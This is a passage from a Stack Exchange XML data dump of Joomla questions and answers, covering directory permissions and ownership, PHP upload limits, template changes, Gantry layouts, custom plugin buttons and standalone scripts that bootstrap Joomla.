11M&#xA;max_input_time = 300&#xA;max_execution_time = 120&#xA;default_socket_timeout = 120&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Permissions&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After checking the correct part of the admin console System &gt; System Information &gt; Directory Permissions not a single entry here is listed as writable. Do I need to edit each folder tree? Again I don't think that setting 777 on these folders is a good idea ( or work ). For example it list my temp folder as unwritable but it looks like the correct permissions above. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried also to change the group owner on the html root folder so now all folders and files have apache as a group. No change so far. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Apache errors&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I get when I try to install an extension&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[Sat Jan 17 19:24:02 2015] [error] [client 123.123.123.123] PHP Warning:  file_put_contents(/var/www/html/jrt/plg_webinstaller_3.2v1.0.5.zip): failed to open stream: Permission denied in /var/www/html/libraries/joomla/filesystem/file.php on line 431, referer: http://mywebsite.ca/administrator/index.php?option=com_installer&#xA;[Sat Jan 17 19:24:02 2015] [error] [client 123.123.123.123] PHP Warning:  array_merge(): Argument #1 is not an array in /var/www/html/libraries/cms/installer/helper.php on line 154, referer: http://mywebsite.ca/administrator/index.php?option=com_installer&#xA;[Sat Jan 17 19:24:02 2015] [error] [client 123.123.123.123] PHP Warning:  Invalid argument supplied for foreach() in /var/www/html/libraries/cms/installer/helper.php on line 207, referer: http://mywebsite.ca/administrator/index.php?option=com_installer&#xA;[Sat Jan 17 20:39:06 2015] [error] [client 123.123.123.123] PHP Warning:  file_put_contents(/var/www/html/jrt/plg_webinstaller_3.2v1.0.5.zip): failed to open stream: Permission denied in /var/www/html/libraries/joomla/filesystem/file.php on line 431, referer: http://mywebsite.ca/administrator/index.php?option=com_installer&#xA;[Sat Jan 17 20:39:06 2015] [error] [client 123.123.123.123] PHP Warning:  array_merge(): Argument #1 is not an array in /var/www/html/libraries/cms/installer/helper.php on line 154, referer: http://mywebsite.ca/administrator/index.php?option=com_installer&#xA;[Sat Jan 17 20:39:06 2015] [error] [client 123.123.123.123] PHP Warning:  Invalid argument supplied for foreach() in /var/www/html/libraries/cms/installer/helper.php on line 207, referer: http://mywebsite.ca/administrator/index.php?option=com_installer&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1811" LastEditorUserId="1811" LastEditDate="2015-01-18T01:42:34.163" LastActivityDate="2015-01-18T15:56:14.367" Title="All directories listed as unwritable" Tags="|joomla-3.x|php|extensions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7028" PostTypeId="2" ParentId="7026" CreationDate="2015-01-17T12:41:47.640" Score="2" Body="&lt;p&gt;The &quot;archive does not exist&quot; kind of suggests that Joomla! failed to upload the archive. Which leads to the archive failing to decompress and the contents not being moved to the expected folder. Which means the expected folder will not exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either your PHP has an upload limit that is too low for the files in question or your tmp path is incorrect. If you installed PHP yourself, the relevant settings are probably still at their defaults which are 2MB and too small. In php.ini set upload_max_filesize and post_max_size to some higher value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While you are at that also increase max_execution_time as it causes very annoying issues if it times out in the middle of installs or updates.&lt;/p&gt;&#xA;" OwnerUserId="2309" LastActivityDate="2015-01-17T12:41:47.640" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="7030" PostTypeId="1" CreationDate="2015-01-18T02:04:00.020" Score="2" ViewCount="94" Body="&lt;p&gt;My live website is not user-friendly, and I'm considering to use a new template. I bought a template, but how can I use the new template for the same content with some modification? If I use new template, will it be harmful for SEO? If there is no problem with SEO then I was thinking to modify the website in local server and when it is ready then will upload to live server. will it work this way?&lt;/p&gt;&#xA;" OwnerUserId="3504" LastEditorUserId="1629" LastEditDate="2015-01-18T03:39:10.170" LastActivityDate="2020-02-15T07:16:58.313" Title="Change existing template in Joomla 2.5" Tags="|joomla-2.5|development|php|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7031" PostTypeId="2" ParentId="7030" CreationDate="2015-01-18T04:10:59.963" Score="4" Body="&lt;p&gt;First of all, you should absolutely work on a copy of your website when doing major layout changes. I recommend using &lt;a href=&quot;http://akeebabackup.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Akeeba Backup&lt;/a&gt;, and restore a copy on your local server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Templates are installed just like any other extension (through &lt;strong&gt;Extensions&lt;/strong&gt; -&gt; &lt;strong&gt;Extension Manager&lt;/strong&gt;). Once installed, you can set it as default from &lt;strong&gt;Extensions&lt;/strong&gt; -&gt; &lt;strong&gt;Template manager&lt;/strong&gt; by clicking the star next to the new template. You can also preview your template by adding &lt;code&gt;?template=template_name&lt;/code&gt; to your URL (e.g. &lt;a href=&quot;http://example.com/index.php?template=Beez3&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://example.com/index.php?template=Beez3&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A template does &lt;strong&gt;not&lt;/strong&gt; affect your content. You should however be aware that different templates might use different module positions, especially if they are from different template developers. That means you probably have to change the position of all your modules to make the site look right. For example, the sidebars has many different names depending on your template, I've seen &lt;em&gt;left&lt;/em&gt; &amp;amp; &lt;em&gt;right&lt;/em&gt;, &lt;em&gt;sidebar1&lt;/em&gt; &amp;amp; &lt;em&gt;sidebar2&lt;/em&gt;, &lt;em&gt;side-a&lt;/em&gt; &amp;amp; &lt;em&gt;side-b&lt;/em&gt; etc. It's possible that some of the positions in your current template are unavailable in the new one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, modules often use &lt;strong&gt;Module Class suffixes&lt;/strong&gt; in order to obtain a certain layout:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ez90b.jpg&quot; alt=&quot;Module class suffix Joomla&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is also template dependent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way to find the available module positions is to visit the template developers website. The template demos usually has a menu item called &quot;Module positions&quot; (or similar) that shows available positions and suffixes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the end, installing a new template is not overly difficult, but it will take some time to make it look right with your existing articles and modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-01-18T04:10:59.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7032" PostTypeId="2" ParentId="7026" CreationDate="2015-01-18T04:27:58.667" Score="4" Body="&lt;p&gt;Big shout to @VilleNiemi for his troubleshooting getting me on the &lt;em&gt;write&lt;/em&gt; path. ( Yes I used write instead of right as a pun.) My Directory Permissions appeared to be the source of my problem.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Twfn5.png&quot; alt=&quot;Unwritable&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Solution if host is dedictated&lt;/h1&gt;&#xA;&lt;p&gt;I thought that changing the changing the group from &lt;code&gt;root&lt;/code&gt; to &lt;code&gt;apache&lt;/code&gt; would fix the issue but nothing changed. After reading another post on &lt;a href=&quot;http://forum.joomla.org/viewtopic.php?f=707&amp;amp;t=838674&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Forum&lt;/a&gt; I saw someone change the owner of the folders and files. So after I ran the following&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo chown -R apache:apache /var/www/html/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then, after refreshing my screen, I see the colour green again.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ExiKH.png&quot; alt=&quot;Green is good&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;So the files on the root of my web directory are set for permissions with 744. Folders with 755 and files in said folders are 644. Think I'm all set for now.&lt;/p&gt;&#xA;&lt;p&gt;Succesfully installed the first plugin on my site. Off to the races with me!&lt;/p&gt;&#xA;&lt;h1&gt;Solution if shared host.&lt;/h1&gt;&#xA;&lt;p&gt;Will post something more verbose once its complete but a good read comes from &lt;a href=&quot;http://www.dionysopoulos.me/2010/07/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Dionysopoulos&lt;/a&gt; which is linked in this answer &lt;a href=&quot;https://joomla.stackexchange.com/questions/6952/conditional-chmod-values&quot;&gt;4&lt;/a&gt;. It talks about permission pitfalls and why my dedicated host solution is bad in general and especially bad for shared host providers.&lt;/p&gt;&#xA;" OwnerUserId="1811" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-01-18T15:56:14.367" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7033" PostTypeId="1" AcceptedAnswerId="7048" CreationDate="2015-01-18T12:42:17.620" Score="3" ViewCount="1155" Body="&lt;p&gt;I'm creating a Joomla 3 site with the latest Gantry framework. Currently the site is still on my local dev server, but I don't think the site link will be necessary for this question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I'm using the Header positions a, b and c for the logo, menu and social icons (in that order). When I edit the Header positions in the Layouts tab of the Template manager, the smallest it allows me to make position c (where my social icons are) or any position for that matter, is 2. So it's rt-grid-2.&#xA;I need the width of my social icons' block to only be one grid size, (rt-grid-1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I force this sizing in the template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been creating Joomla websites for a few years now, but always used another framework for creating the custom designed templates. I've recently moved over to Gantry as I find it a better framework in a few ways, but I'm still learning all the ins-and-outs of it.&lt;/p&gt;&#xA;" OwnerUserId="1589" LastEditorUserId="22" LastEditDate="2015-01-19T01:53:56.370" LastActivityDate="2016-01-22T03:09:07.287" Title="Gantry grid layouts" Tags="|gantry|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7036" PostTypeId="2" ParentId="7033" CreationDate="2015-01-19T01:59:50.817" Score="4" Body="&lt;p&gt;I believe this is defined in the &lt;code&gt;template-options.xml&lt;/code&gt; file in the root directory of your template (so &lt;code&gt;JOOMLA-ROOT/templates/TEMPLATE-NAME/template-options.xml&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For each position you will see a field defined in this file. Within that field definition is two items: &lt;code&gt;schemas&lt;/code&gt; and &lt;code&gt;words&lt;/code&gt;. Schemas defines the number of columns possible (so if you only wanted to allow up to 3 columns, the value would be &lt;code&gt;1,2,3&lt;/code&gt;). Words defines the allowable column widths (commonly &lt;code&gt;2,3,4,5,6,7,8,9,10&lt;/code&gt;, hence why you can't have 1 column width).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be able to add &lt;code&gt;1&lt;/code&gt; and &lt;code&gt;11&lt;/code&gt; to the list to allow those values. You can also change the default if you plan to use this template on multiple websites.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2015-01-19T01:59:50.817" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7037" PostTypeId="1" CreationDate="2015-01-19T02:03:57.827" Score="3" ViewCount="5651" Body="&lt;p&gt;So everyone and there cat is on about permissions in the web folder structure. Popular question is the one about &lt;a href=&quot;https://joomla.stackexchange.com/questions/132/recommended-practices-regarding-joomla-file-directory-permissions-and-ownership&quot;&gt;Recommended Practices&lt;/a&gt;. Great post and I understand the importance of setting 755 for directories and 644 for files. Even the Joomla &lt;a href=&quot;https://docs.joomla.org/Verifying_permissions#Recommended_settings&quot; rel=&quot;nofollow noreferrer&quot;&gt;Recommended Settings&lt;/a&gt; refer to those permission sets. I have done this and that is easy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is very related to another question of mine where I was trying to get the &lt;strong&gt;Directory Permissions&lt;/strong&gt; permissions set to writable. Initially I set the owner of my entire website to 'apache' which worked. However I have since learned that is a bad practice even on a dedicated hosting environment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A blog post by &lt;a href=&quot;http://www.dionysopoulos.me/2010/07/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Dionysopoulos&lt;/a&gt; talks about how to change this using the owner and .htaccess files. On the off change that post is ever broken the steps he suggests are listed below:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The correct approach is painful and time consuming. You need all your&#xA;  files and directories owned by your account’s user (i.e. use FTP to&#xA;  upload them) except those you need to be able to write to. Since we’re&#xA;  talking Joomla! here, do the following:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Remove the cache, tmp and logs directories&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Install Joomla! eXtplorer or NinjaXplorer on your site. These file managers run inside Joomla!, ergo under the same user and group as your web server.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create the cache, tmp and logs directories using either of these file managers. These directories are now owned by the web server user.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Give them temporarily 777 permissions, again using these file managers.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use your favourite FTP program to create a .htaccess file inside each of these directories with the following contents:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;order deny, allow&#xA;deny from all&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Give that file 0644 permissions using the FTP program.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go back to the file manager (eXtplorer or NinjaXplorer) and give the cache, tmp and logs directories 0700 permissions. Note: you may need to give 0744 permissions to the cache directory and remove the .htaccess file for some CSS/JS aggregation &amp;amp; compression plugins to work. I consider this an awful practice, but it seems to be the only workaround… If you ask for myopinion, uninstall the plugin in question.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to Joomla!’s Global Configuration and enable the FTP layer. Do not store your password!&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Getting to the point&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As of this moment the only writable directories I have are cache, tmp and log which are protect by .htaccess based on the above instructions. The part I'm fuzzy on is: &lt;em&gt;You need all your files and directories owned by your account’s user&lt;/em&gt;. Currently that is set to root. I want to do this right. It hasn't taken long to see that Joomla Security is very important. Below is the &lt;code&gt;ll&lt;/code&gt; (&lt;code&gt;jrt&lt;/code&gt; and &lt;code&gt;wood&lt;/code&gt; are my tmp and log respectively. I read they should be changed from their defaults.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;drwxr-xr-x. 10 root   apache  4096 Oct  1 06:52 administrator&#xA;drwxr-xr-x.  2 root   apache  4096 Oct  1 06:52 bin&#xA;drwxr-xr-x.  2 apache apache  4096 Jan 18 20:07 cache&#xA;drwxr-xr-x.  2 root   apache  4096 Oct  1 06:52 cli&#xA;drwxr-xr-x. 19 root   apache  4096 Jan 18 19:39 components&#xA;-rw-r--r--.  1 root   apache  2750 Jan 16 20:39 configuration.php&#xA;-rw-r--r--.  1 root   apache  2859 Oct  1 06:52 htaccess.txt&#xA;drwxr-xr-x.  5 root   apache  4096 Oct  1 06:52 images&#xA;drwxr-xr-x.  2 root   apache  4096 Oct  1 06:52 includes&#xA;-rw-r--r--.  1 root   apache  1013 Oct  1 06:52 index.php&#xA;-rw-r--r--.  1 root   apache  1910 Oct  1 06:52 joomla.xml&#xA;drwxr-xr-x.  2 apache apache  4096 Jan 18 20:04 jrt&#xA;drwxr-xr-x.  4 root   apache  4096 Oct  1 06:52 language&#xA;drwxr-xr-x.  4 root   apache  4096 Oct  1 06:52 layouts&#xA;drwxr-xr-x. 14 root   apache  4096 Jan 17 23:38 libraries&#xA;-rw-r--r--.  1 root   apache 17816 Oct  1 06:52 LICENSE.txt&#xA;drwxr-xr-x. 20 root   apache  4096 Jan 17 23:38 media&#xA;drwxr-xr-x. 28 root   apache  4096 Oct  1 06:52 modules&#xA;drwxr-xr-x. 15 root   apache  4096 Jan 17 23:28 plugins&#xA;-rw-r--r--.  1 root   apache  4310 Oct  1 06:52 README.txt&#xA;-rw-r--r--.  1 root   apache   842 Oct  1 06:52 robots.txt.dist&#xA;drwxr-xr-x.  5 root   apache  4096 Oct  1 06:52 templates&#xA;-rw-r--r--.  1 root   apache    86 Jan 17 16:49 test.php&#xA;-rw-r--r--.  1 root   apache  1609 Oct  1 06:52 web.config.txt&#xA;drwxr-xr-x.  2 apache apache  4096 Jan 18 20:06 wood&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Who should the owner be of directories that don't need to be writable all the time?&lt;/p&gt;&#xA;" OwnerUserId="1811" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-01-21T08:50:56.273" Title="Permissions and Ownership" Tags="|joomla-3.x|security|apache|permissions|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7038" PostTypeId="1" CreationDate="2015-01-19T03:23:22.837" Score="0" ViewCount="266" Body="&lt;p&gt;I have rewritten &lt;strong&gt;edit.php&lt;/strong&gt; in &lt;strong&gt;/administrator/components/com_content/views/article/tmpl/edit.php&lt;/strong&gt; to create an Events tab just like in this screenshot&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CMrTT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only main issues I'm facing is how to to &lt;strong&gt;Save&lt;/strong&gt; these 3 (Start Event, End Event and Location Event). I've looked up in &lt;strong&gt;/administrator/components/com_content/models/article.php&lt;/strong&gt; and yet to find a good example to follow on how to save into the database. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Need help how to save these 3 new input into #__content table database. And Yes, I have created 3 column for these 3 in table #__content&lt;/p&gt;&#xA;" OwnerUserId="3509" LastActivityDate="2015-01-19T23:45:31.013" Title="Rewrite COM_CONTENT code to save data from form into database" Tags="|form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7039" PostTypeId="2" ParentId="5867" CreationDate="2015-01-19T05:55:59.540" Score="3" Body="&lt;p&gt;More than likely your file is being set to &quot;444&quot; for permissions by your server. Right click the file in filezilla, or whatever you use, and set it to &quot;644&quot; and then save the config file and upload it again. &lt;/p&gt;&#xA;" OwnerUserId="3510" LastActivityDate="2015-01-19T05:55:59.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7040" PostTypeId="1" CreationDate="2015-01-19T07:33:18.517" Score="5" ViewCount="422" Body="&lt;p&gt;As seen in this question (&lt;a href=&quot;https://joomla.stackexchange.com/questions/5147/add-a-custom-button-to-a-core-backend-component&quot;&gt;Add a custom button to a core backend component&lt;/a&gt;), I've created a simple plugin that adds a custom button on the com_content component. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I click on this button, the site is redirected to the my_component controller, send task. But any of the selected items is sent to the my_component controller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do to pass the id of the selected articles to my controller?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the source of my plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class plgSystemSubscripcions extends JPlugin {&#xA;    public function onBeforeRender() {&#xA;        $app = JFactory::getApplication();&#xA;&#xA;        if ($app-&amp;gt;isAdmin() === true) {&#xA;            $input = $app-&amp;gt;input;&#xA;&#xA;            if (($input-&amp;gt;getCmd('option') === 'com_content' &amp;amp;&amp;amp; $input-&amp;gt;getCmd('view', 'articles') ===  'articles') ||&#xA;                ($input-&amp;gt;getCmd('option') === 'com_docman'  &amp;amp;&amp;amp; $input-&amp;gt;getCmd('view', 'documents') === 'documents')) {&#xA;                $toolbar = JToolbar::getInstance('toolbar');&#xA;&#xA;                $url = JRoute::_('index.php?option=com_my_component&amp;amp;task=send&amp;amp;format=raw');&#xA;                $toolbar-&amp;gt;appendButton('Link', 'mail', 'Mass email', $url);&#xA;            }&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2123" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-01-19T09:30:11.000" Title="How to pass, with a custom button, the selected items to a controller?" Tags="|development|module|plugin|custom-module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7041" PostTypeId="2" ParentId="7040" CreationDate="2015-01-19T09:30:11.000" Score="2" Body="&lt;p&gt;Your button invokes only GET action. That means all input fields are not processed, but selected items are input fields. See the same problem in &lt;a href=&quot;https://joomla.stackexchange.com/questions/7040/how-to-pass-with-a-custom-button-the-selected-items-to-a-controller&quot;&gt;this question&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Honestly I do not see any way how to pass them... If your button could submit a form that would do the trick, but as I understand it is not possible for custom buttons.&lt;/p&gt;&#xA;" OwnerUserId="3" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-01-19T09:30:11.000" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7044" PostTypeId="1" CreationDate="2015-01-19T12:03:33.347" Score="1" ViewCount="666" Body="&lt;p&gt;I have a system Joomla 3.x plugin with a restore its settings option. For this I use XMLHttpRequest to load a backup file. No problem this side. The problem is in the php file used to update the database. I cannot access the global variables of Joomla I know it's normal because the file isn't called from Joomla itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function uploadFile() {&#xA;var fd = new FormData();&#xA;fd.append(&quot;fileToUpload&quot;,  document.getElementById('fileToUpload').files[0]);&#xA;var xhr = new XMLHttpRequest();&#xA;xhr.upload.addEventListener(&quot;progress&quot;, uploadProgress, false);&#xA;xhr.addEventListener(&quot;load&quot;, uploadComplete, false);&#xA;xhr.addEventListener(&quot;error&quot;, uploadFailed, false);&#xA;xhr.addEventListener(&quot;abort&quot;, uploadCanceled, false);&#xA;xhr.open(&quot;POST&quot;, &quot;restore.php&quot;);&#xA;xhr.send(fd);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;restore.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function import($_FILES)&#xA;{&#xA;if ($_FILES['fileToUpload']['error'] &amp;gt; 0) {&#xA;    echo &quot;&amp;lt;p class='alert alert-error'&amp;gt;An error occurred while uploading!&amp;lt;/p&amp;gt;&quot;;     &#xA;} else {&#xA;    $file_name = $_FILES['fileToUpload']['name'];&#xA;    $file_ext  = strtolower(end(explode(&quot;.&quot;, $file_name)));&#xA;    $file_size = $_FILES['fileToUpload']['size'];&#xA;    if (($file_ext == &quot;json&quot;) &amp;amp;&amp;amp; ($file_size &amp;lt; 500000)) {&#xA;        $options = file_get_contents($_FILES['fileToUpload']['tmp_name']);&#xA;&#xA;        // Get a database object. &#xA;        $db = JFactory::getDbo();&#xA;&#xA;        // Create a new query object.&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;        // Fields to update.&#xA;        $fields = array(&#xA;            $db-&amp;gt;quoteName('field_to_update') . ' = ' . $db-&amp;gt;quote($options)&#xA;        );&#xA;&#xA;        // Conditions for which records should be updated.&#xA;        $conditions = array(&#xA;            $db-&amp;gt;quoteName('element') . ' = ' . $db-&amp;gt;quote('plugin_name'), &#xA;            $db-&amp;gt;quoteName('folder') . ' = ' . $db-&amp;gt;quote('system')&#xA;        );&#xA;&#xA;        // Set the query and execute it.&#xA;        $query-&amp;gt;update($db-&amp;gt;quoteName('#__extensions'))-&amp;gt;set($fields)-&amp;gt;where($conditions);&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $result = $db-&amp;gt;execute();&#xA;&#xA;        echo &quot;&amp;lt;p class='alert alert-success'&amp;gt;Backup file successfully restored!&amp;lt;/p&amp;gt;&quot;;&#xA;    } else {&#xA;        if ($file_ext &amp;lt;&amp;gt; &quot;json&quot;) {&#xA;            echo &quot;&amp;lt;p class='alert alert-error'&amp;gt;Invalid file type! Must be a JSON file.&amp;lt;/p&amp;gt;&quot;;&#xA;        } elseif ($file_size &amp;gt; 500000) {&#xA;            echo &quot;&amp;lt;p class='alert alert-error'&amp;gt;File too big!&amp;lt;/p&amp;gt;&quot;;&#xA;        }&#xA;    }&#xA;}&#xA;return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible to access the database global variables of Joomla in my called php file ? &lt;/p&gt;&#xA;" OwnerUserId="2087" LastActivityDate="2015-01-19T23:40:33.510" Title="XMLHttpRequest and Joomla global variables" Tags="|javascript|system-plugin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7045" PostTypeId="2" ParentId="7044" CreationDate="2015-01-19T13:25:08.780" Score="1" Body="&lt;p&gt;You have to bootstrap a whole Joomla app to get CMS stack. Something along the line should work in your file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('_JEXEC', 1);&#xA;&#xA;error_reporting(E_ALL | E_NOTICE);&#xA;ini_set('display_errors', 1);&#xA;&#xA;define('JPATH_BASE', dirname(dirname(dirname(__FILE__))));&#xA;require_once JPATH_BASE . DS . 'includes' . DS . 'defines.php';&#xA;require_once JPATH_BASE . DS . 'includes' . DS . 'framework.php';&#xA;&#xA;JLoader::import('joomla.user.authentication');&#xA;JLoader::import('joomla.application.component.helper');&#xA;&#xA;class MyJoomlaServer extends JApplicationWeb {&#xA;&#xA;    public function doExecute() {&#xA;        // Get a database object. &#xA;        $db = JFactory::getDbo();&#xA;&#xA;        // Create a new query object.&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;        // Fields to update.&#xA;        $fields = array(&#xA;            $db-&amp;gt;quoteName('field_to_update') . ' = ' . $db-&amp;gt;quote($options)&#xA;        );&#xA;&#xA;        ...&#xA;    }&#xA;&#xA;    public function isAdmin() {&#xA;        return false;&#xA;    }&#xA;}&#xA;&#xA;$app = JApplicationWeb::getInstance('MyJoomlaServer');&#xA;JFactory::$application = $app;&#xA;$app-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="56" LastActivityDate="2015-01-19T13:25:08.780" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7046" PostTypeId="1" AcceptedAnswerId="7385" CreationDate="2015-01-19T15:32:56.630" Score="1" ViewCount="1348" Body="&lt;p&gt;I have a problem with closing a &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;-tag after a &quot;Read more&quot; button. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within the article editor, Joomla uses a &lt;code&gt;&amp;lt;hr id=&quot;system-readmore&quot; /&amp;gt;&lt;/code&gt; statement for creating the read more button in an intro-text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, that i need to add a &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; tag which surrounds this &quot;readmore&quot;-tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div style=&quot;overflow: hidden;&quot;&amp;gt;&#xA;    &amp;lt;h3&amp;gt;&amp;lt;img class=&quot;img_staff&quot; src=&quot;images/staff1.jpg&quot; alt=&quot;&quot; width=&quot;120&quot; height=&quot;150&quot; /&amp;gt;Test Person&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;h4&amp;gt;&amp;lt;em&amp;gt;Assistant&amp;lt;/em&amp;gt;&amp;lt;/h4&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Tel:&amp;lt;/strong&amp;gt; 0000 0000 0000&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Email:&amp;lt;/strong&amp;gt; test@test.com&amp;lt;/p&amp;gt;&#xA;    &amp;lt;hr id=&quot;system-readmore&quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div style=&quot;clear: left;&quot;&amp;gt;&#xA;    &amp;lt;h4&amp;gt;Education&amp;lt;/h4&amp;gt;&#xA;    ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This example should display an image on the left side and text on the right (image float:left). The &quot;overflow: hidden;&quot; i use to avoid an image, that is bigger than the surronding &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;-Tag (an thus falls out of the &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;-tag).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, that this first div-tag doesn't get closed in the intro article (as the &quot;readmore&quot; button cuts the code). Is there a solution for this problem in Joomla, or do you know any CSS-solution, to get this desired looking?&lt;/p&gt;&#xA;" OwnerUserId="3513" LastEditorUserId="1629" LastEditDate="2015-01-19T15:39:57.023" LastActivityDate="2015-01-31T16:40:33.247" Title="Read More button 